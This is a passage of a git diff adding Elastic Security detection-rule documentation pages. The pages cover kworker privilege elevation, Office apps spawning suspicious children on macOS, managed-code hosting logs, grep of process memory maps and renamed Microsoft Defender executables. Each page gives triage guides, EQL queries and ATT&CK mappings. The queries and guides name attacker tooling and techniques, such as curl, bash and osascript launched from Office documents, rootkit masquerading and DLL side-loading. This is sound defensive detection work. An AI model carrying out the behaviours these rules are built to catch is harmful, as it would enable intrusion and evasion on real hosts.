URL: https://attack.mitre.org/techniques/T1562/006/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-kworker-uid-elevation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-kworker-uid-elevation.asciidoc new file mode 100644 index 0000000000..903c10d764 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-kworker-uid-elevation.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-20-suspicious-kworker-uid-elevation]] +=== Suspicious Kworker UID Elevation + +Monitors for the elevation of regular user permissions to root permissions through the kworker process. kworker, or kernel worker, processes are part of the kernel's workqueue mechanism. They are responsible for executing work that has been scheduled to be done in kernel space, which might include tasks like handling interrupts, background activities, and other kernel-related tasks. Attackers may attempt to evade detection by masquerading as a kernel worker process, and hijack the execution flow by hooking certain functions/syscalls through a rootkit in order to provide easy access to root via a special modified command. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Kworker UID Elevation* + + +Kworker processes are integral to Linux, handling tasks like interrupts and background activities within the kernel. Adversaries may exploit these processes by disguising malicious activities as legitimate kernel operations, often using rootkits to hijack execution flow and gain root access. The detection rule identifies anomalies by monitoring for kworker processes that unexpectedly change session IDs and elevate privileges to root, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the process details for the kworker process with a session ID change and user ID of 0 to confirm the legitimacy of the process and its parent process. +- Check the system logs around the time of the session ID change event for any unusual activities or errors that might indicate tampering or exploitation attempts. +- Investigate any recent changes to the system, such as new software installations or updates, that could have introduced vulnerabilities or unauthorized modifications. +- Analyze the system for signs of rootkit presence, such as hidden files or processes, by using rootkit detection tools or manual inspection techniques. +- Correlate the event with other security alerts or anomalies in the network to determine if this is part of a broader attack campaign or isolated incident. + + +*False positive analysis* + + +- Regular system updates or maintenance activities may trigger session ID changes in kworker processes. Users can monitor scheduled maintenance windows and exclude these time frames from triggering alerts. +- Custom kernel modules or legitimate software that interacts with kernel processes might cause kworker to change session IDs. Identify and whitelist these known modules or software to prevent false positives. +- Automated scripts or tools that require elevated privileges for legitimate tasks could inadvertently cause kworker processes to appear suspicious. Review and document these scripts, then create exceptions for their expected behavior. +- Certain system configurations or optimizations might lead to benign kworker session ID changes. Conduct a baseline analysis of normal system behavior and adjust the detection rule to accommodate these patterns without compromising security. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate the suspicious kworker process identified in the alert to stop any ongoing malicious activity. +- Conduct a thorough review of system logs and process trees to identify any additional compromised processes or indicators of rootkit installation. +- Restore the system from a known good backup if rootkit presence is confirmed, as rootkits can deeply embed themselves into the system. +- Change all credentials and keys that may have been exposed or used on the compromised system to prevent unauthorized access using stolen credentials. +- Implement enhanced monitoring and logging for kworker processes and session ID changes to detect similar activities in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click Add integrations. +- In the query bar, search for Elastic Defend and select the integration to see more details about it. +- Click Add Elastic Defend. +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either Traditional Endpoints or Cloud Workloads. +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in New agent policy name. If other agent policies already exist, you can click the Existing hosts tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click Save and Continue. +- To complete the integration, select Add Elastic Agent to your hosts and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.action == "session_id_change" and process.name : "kworker*" and +user.id == "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: KernelCallbackTable +** ID: T1574.013 +** Reference URL: https://attack.mitre.org/techniques/T1574/013/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Masquerade Task or Service +** ID: T1036.004 +** Reference URL: https://attack.mitre.org/techniques/T1036/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-macos-ms-office-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-macos-ms-office-child-process.asciidoc new file mode 100644 index 0000000000..0a3e7c86f7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-macos-ms-office-child-process.asciidoc @@ -0,0 +1,250 @@ +[[prebuilt-rule-8-19-20-suspicious-macos-ms-office-child-process]] +=== Suspicious macOS MS Office Child Process + +Identifies suspicious child processes of frequently targeted Microsoft Office applications (Word, PowerPoint, and Excel). These child processes are often launched during exploitation of Office applications or by documents with malicious macros. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.malwarebytes.com/cybercrime/2017/02/microsoft-office-macro-malware-targets-macs/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious macOS MS Office Child Process* + + +Microsoft Office applications on macOS can be exploited by adversaries to execute malicious child processes, often through malicious macros or document exploits. These child processes may include scripting languages or utilities that can be leveraged for unauthorized actions. The detection rule identifies such suspicious activity by monitoring for unexpected child processes spawned by Office apps, while filtering out known benign behaviors and false positives, thus helping to pinpoint potential threats. + + +*Possible investigation steps* + + +- Review the parent process name and executable path to confirm if the Office application is legitimate and expected on the host. +- Examine the child process name and command line arguments to identify any potentially malicious or unexpected behavior, such as the use of scripting languages or network utilities like curl or nscurl. +- Check the process arguments for any indicators of compromise or suspicious patterns that are not filtered out by the rule, such as unexpected network connections or file modifications. +- Investigate the effective parent executable path to ensure it is not associated with known benign applications or services that are excluded by the rule. +- Correlate the alert with any recent phishing attempts or suspicious email activity that might have led to the execution of malicious macros or document exploits. +- Analyze the host's recent activity and system logs to identify any other anomalies or related alerts that could provide additional context or evidence of compromise. + + +*False positive analysis* + + +- Product version discovery commands can trigger false positives. Exclude processes with arguments like "ProductVersion" and "ProductBuildVersion" to reduce noise. +- Office error reporting may cause alerts. Exclude paths related to Microsoft Error Reporting to prevent unnecessary alerts. +- Network setup and management tools such as "/usr/sbin/networksetup" can be benign. Exclude these executables if they are part of regular system operations. +- Third-party applications like ToDesk and JumpCloud Agent might be flagged. Exclude their executables if they are verified as safe and part of normal operations. +- Zotero integration can cause false positives with shell processes. Exclude specific command lines involving "CFFIXED_USER_HOME/.zoteroIntegrationPipe" to avoid these alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious child processes identified by the alert, such as those involving scripting languages or utilities like curl, bash, or osascript. +- Conduct a thorough review of the parent Microsoft Office application and associated documents to identify and remove any malicious macros or document exploits. +- Restore the affected system from a known good backup if malicious activity has compromised system integrity or data. +- Update all Microsoft Office applications to the latest version to patch any known vulnerabilities that could be exploited by similar threats. +- Implement application whitelisting to restrict the execution of unauthorized scripts and utilities, reducing the risk of exploitation through Office applications. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.action == "exec" and host.os.type == "macos" and + process.parent.name: ( + "Microsoft Word", + "Microsoft Outlook", + "Microsoft Excel", + "Microsoft PowerPoint", + "Microsoft OneNote" + ) and + process.name : ( + "curl", + "nscurl", + "bash", + "sh", + "osascript", + "python*", + "perl*", + "mktemp", + "chmod", + "php", + "nohup", + "openssl", + "plutil", + "PlistBuddy", + "xattr", + "mktemp", + "sqlite3", + "funzip", + "popen" + ) and + + // Filter FPs related to product version discovery and Office error reporting behavior + not process.args: + ( + "ProductVersion", + "hw.model", + "ioreg", + "ProductName", + "ProductUserVisibleVersion", + "ProductBuildVersion", + "/Library/Application Support/Microsoft/MERP*/Microsoft Error Reporting.app/Contents/MacOS/Microsoft Error Reporting", + "open -a Safari *", + "defaults read *", + "sysctl hw.model*", + "ioreg -d2 -c IOPlatformExpertDevice *", + "ps aux | grep 'ToDesk_Desktop' | grep -v grep", + "PIPE=\"$CFFIXED_USER_HOME/.zoteroIntegrationPipe*" + ) and + + not process.parent.executable : + ( + "/Applications/ToDesk.app/Contents/MacOS/ToDesk_Service", + "/usr/local/Privacy-i/PISupervisor", + "/Library/Addigy/lan-cache", + "/Library/Elastic/Agent/*", + "/opt/jc/bin/jumpcloud-agent", + "/usr/sbin/networksetup" + ) and + not (process.name : "sh" and process.command_line : "*$CFFIXED_USER_HOME/.zoteroIntegrationPipe*") and + + not process.Ext.effective_parent.executable : ( + "/Applications/ToDesk.app/Contents/MacOS/ToDesk_Service", + "/usr/local/Privacy-i/PISupervisor", + "/Library/Addigy/auditor", + "/Library/Elastic/Agent/*", + "/opt/jc/bin/jumpcloud-agent", + "/usr/sbin/networksetup" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-managed-code-hosting-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-managed-code-hosting-process.asciidoc new file mode 100644 index 0000000000..50c7ebe73f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-managed-code-hosting-process.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-20-suspicious-managed-code-hosting-process]] +=== Suspicious Managed Code Hosting Process + +Identifies a suspicious managed code hosting process which could indicate code injection or other form of suspicious code execution. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Managed Code Hosting Process* + + +Managed code hosting processes like wscript.exe, cscript.exe, and others are integral to executing scripts and managing code in Windows environments. Adversaries exploit these processes for code injection or executing malicious scripts, often evading detection. The detection rule identifies anomalies by monitoring specific process logs, flagging high-risk activities that deviate from normal operations, thus alerting analysts to potential threats. + + +*Possible investigation steps* + + +- Review the process logs for the specific file names flagged in the alert, such as wscript.exe.log or cscript.exe.log, to identify any unusual or unauthorized script executions. +- Correlate the suspicious process activity with user account activity to determine if the actions were performed by a legitimate user or potentially compromised account. +- Examine the parent process of the flagged managed code hosting process to identify if it was spawned by a legitimate application or a known malicious process. +- Check for any recent changes or modifications to the scripts or executables associated with the flagged process to identify potential tampering or unauthorized updates. +- Investigate network connections initiated by the suspicious process to detect any communication with known malicious IP addresses or domains. +- Utilize threat intelligence sources to cross-reference any identified indicators of compromise (IOCs) such as file hashes or IP addresses associated with the suspicious process. + + +*False positive analysis* + + +- Legitimate administrative scripts may trigger alerts when executed by IT personnel using wscript.exe or cscript.exe. To manage this, create exceptions for known scripts and trusted user accounts. +- Automated system maintenance tasks using mshta.exe or wmic.exe can be flagged as suspicious. Identify and whitelist these tasks if they are part of regular system operations. +- Software updates or installations might use svchost.exe or dllhost.exe, leading to false positives. Monitor and document these activities, then exclude them from alerts if they are verified as safe. +- Custom applications that rely on cmstp.exe or regsvr32.exe for legitimate purposes can be mistaken for threats. Validate these applications and add them to an exception list to prevent unnecessary alerts. +- Regularly review and update the exception list to ensure it reflects current legitimate activities, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate the suspicious process identified in the alert, such as wscript.exe, cscript.exe, or any other flagged process, to stop any ongoing malicious activity. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious files or scripts. +- Review and restore any system or application configurations that may have been altered by the malicious process to ensure system integrity. +- Collect and preserve relevant logs and forensic data from the affected system for further analysis and to aid in understanding the scope and impact of the incident. +- Notify the security operations center (SOC) or incident response team to escalate the incident for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and detection rules to enhance visibility and prevent similar threats in the future, focusing on the specific processes and behaviors identified in the alert. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.name : ("wscript.exe.log", + "cscript.exe.log", + "mshta.exe.log", + "wmic.exe.log", + "svchost.exe.log", + "dllhost.exe.log", + "cmstp.exe.log", + "regsvr32.exe.log") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-memory-grep-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-memory-grep-activity.asciidoc new file mode 100644 index 0000000000..f29703d55e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-memory-grep-activity.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-20-suspicious-memory-grep-activity]] +=== Suspicious Memory grep Activity + +Monitors for grep activity related to memory mapping. The /proc/*/maps file in Linux provides a memory map for a specific process, detailing the memory segments, permissions, and what files are mapped to these segments. Attackers may read a process's memory map to identify memory addresses for code injection or process hijacking. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/arget13/DDexec + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Memory grep Activity* + + +In Linux, the `/proc/*/maps` file reveals a process's memory layout, crucial for debugging but exploitable by attackers for malicious activities like code injection. Adversaries may use tools like `grep` to scan these memory maps for specific segments, aiding in process manipulation. The detection rule identifies such suspicious `grep` usage by monitoring process initiation events, focusing on arguments that indicate potential memory mapping exploration. + + +*Possible investigation steps* + + +- Review the process initiation event details to confirm the presence of grep or its variants (egrep, fgrep, rgrep) in the process name field. +- Examine the process arguments to verify if they include memory segments like [stack], [vdso], or [heap], which could indicate an attempt to explore memory mappings. +- Identify the user or service account associated with the suspicious process to determine if the activity aligns with expected behavior or if it might be unauthorized. +- Check the parent process of the suspicious grep activity to understand the context in which it was executed and assess if it was initiated by a legitimate application or script. +- Investigate any recent changes or anomalies in the system logs around the time of the alert to identify potential indicators of compromise or related suspicious activities. +- Correlate this event with other security alerts or logs from the same host to identify patterns or a broader attack campaign. + + +*False positive analysis* + + +- System administrators or developers may use grep to inspect memory maps for legitimate debugging or performance tuning. To handle this, create exceptions for known user accounts or specific scripts that perform these tasks regularly. +- Automated monitoring tools might use grep to check memory usage patterns as part of routine health checks. Identify these tools and exclude their process IDs or command patterns from triggering alerts. +- Security software or intrusion detection systems could use grep to scan memory maps as part of their normal operations. Verify these processes and whitelist them to prevent unnecessary alerts. +- Developers running test scripts that include memory map analysis might trigger this rule. Document these scripts and add them to an exception list to avoid false positives. +- Some legitimate applications may use grep to read memory maps for configuration or optimization purposes. Monitor these applications and adjust the rule to exclude their specific command-line arguments. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or further exploitation. +- Terminate any suspicious processes identified by the detection rule, specifically those involving `grep` or its variants accessing memory maps. +- Conduct a memory dump and forensic analysis of the affected system to identify any injected code or unauthorized modifications. +- Review and audit access logs to determine if there was unauthorized access to the `/proc/*/maps` files and identify any potential data exfiltration. +- Apply patches and updates to the operating system and applications to mitigate known vulnerabilities that could be exploited for similar attacks. +- Implement stricter access controls and monitoring on sensitive files and directories, such as `/proc/*/maps`, to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for broader organizational response measures. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name in ("grep", "egrep", "fgrep", "rgrep") and process.args in ("[stack]", "[vdso]", "[heap]") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-microsoft-antimalware-service-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-microsoft-antimalware-service-execution.asciidoc new file mode 100644 index 0000000000..1191ec9d45 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-microsoft-antimalware-service-execution.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-20-suspicious-microsoft-antimalware-service-execution]] +=== Suspicious Microsoft Antimalware Service Execution + +Identifies suspicious execution of the Microsoft Antimalware Service Executable (MsMpEng.exe) from non-standard paths or renamed instances. This may indicate an attempt to evade defenses through DLL side-loading or by masquerading as the antimalware process. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 217 + +*Rule authors*: + +* Elastic +* Dennis Perto + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Microsoft Antimalware Service Execution* + + +The Microsoft Antimalware Service Executable, a core component of Windows Defender, is crucial for real-time protection against malware. Adversaries exploit its trust by renaming it or executing it from non-standard paths to load malicious DLLs, bypassing security measures. The detection rule identifies such anomalies by monitoring process names and paths, flagging deviations from expected behavior to uncover potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm if the process name is MsMpEng.exe but is executing from a non-standard path. Check the process.executable field to identify the exact path and verify if it deviates from the expected directories. +- Investigate the parent process of the suspicious MsMpEng.exe instance to determine how it was initiated. This can provide insights into whether the process was started by a legitimate application or a potentially malicious one. +- Examine the system for any recent file modifications or creations in the directory where the suspicious MsMpEng.exe is located. This can help identify if a malicious DLL was recently placed in the same directory. +- Check for any network connections or communications initiated by the suspicious MsMpEng.exe process. This can help determine if the process is attempting to communicate with external servers, which may indicate malicious activity. +- Look for any other processes or activities on the host that may indicate compromise, such as unusual user account activity or other processes running from unexpected locations. This can help assess the broader impact of the potential threat. + + +*False positive analysis* + + +- Legitimate software updates or installations may temporarily rename or relocate the Microsoft Antimalware Service Executable. Users should verify if any software updates or installations occurred around the time of the alert and consider excluding these paths if they are known and trusted. +- Custom security or IT management tools might execute the executable from non-standard paths for monitoring or testing purposes. Confirm with IT or security teams if such tools are in use and add these paths to the exclusion list if they are verified as safe. +- Virtualization or sandbox environments may replicate the executable in different locations for testing or analysis. Check if the environment is part of a controlled setup and exclude these paths if they are part of legitimate operations. +- Backup or recovery processes might involve copying the executable to alternate locations. Ensure these processes are legitimate and consider excluding these paths if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of the potential threat. +- Terminate any suspicious processes identified by the detection rule, specifically those involving MsMpEng.exe running from non-standard paths. +- Conduct a thorough scan of the affected system using an updated antivirus or endpoint detection and response (EDR) tool to identify and remove any malicious DLLs or other malware. +- Review and restore any altered or deleted system files from a known good backup to ensure system integrity. +- Investigate the source of the DLL side-loading attempt to determine if it was part of a broader attack campaign, and gather forensic evidence for further analysis. +- Escalate the incident to the security operations center (SOC) or incident response team for a deeper investigation and to assess the need for further containment measures. +- Implement additional monitoring and alerting for similar anomalies in process execution paths to enhance detection capabilities and prevent recurrence. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + (process.pe.original_file_name == "MsMpEng.exe" and not process.name : "MsMpEng.exe") or + ( + process.name : "MsMpEng.exe" and + not process.executable : ( + "?:\\ProgramData\\Microsoft\\Windows Defender\\*.exe", + "?:\\Program Files\\Windows Defender\\*.exe", + "?:\\Program Files (x86)\\Windows Defender\\*.exe", + "?:\\Program Files\\Microsoft Security Client\\*.exe", + "?:\\Program Files (x86)\\Microsoft Security Client\\*.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\ProgramData\\Microsoft\\Windows Defender\\*.exe", + 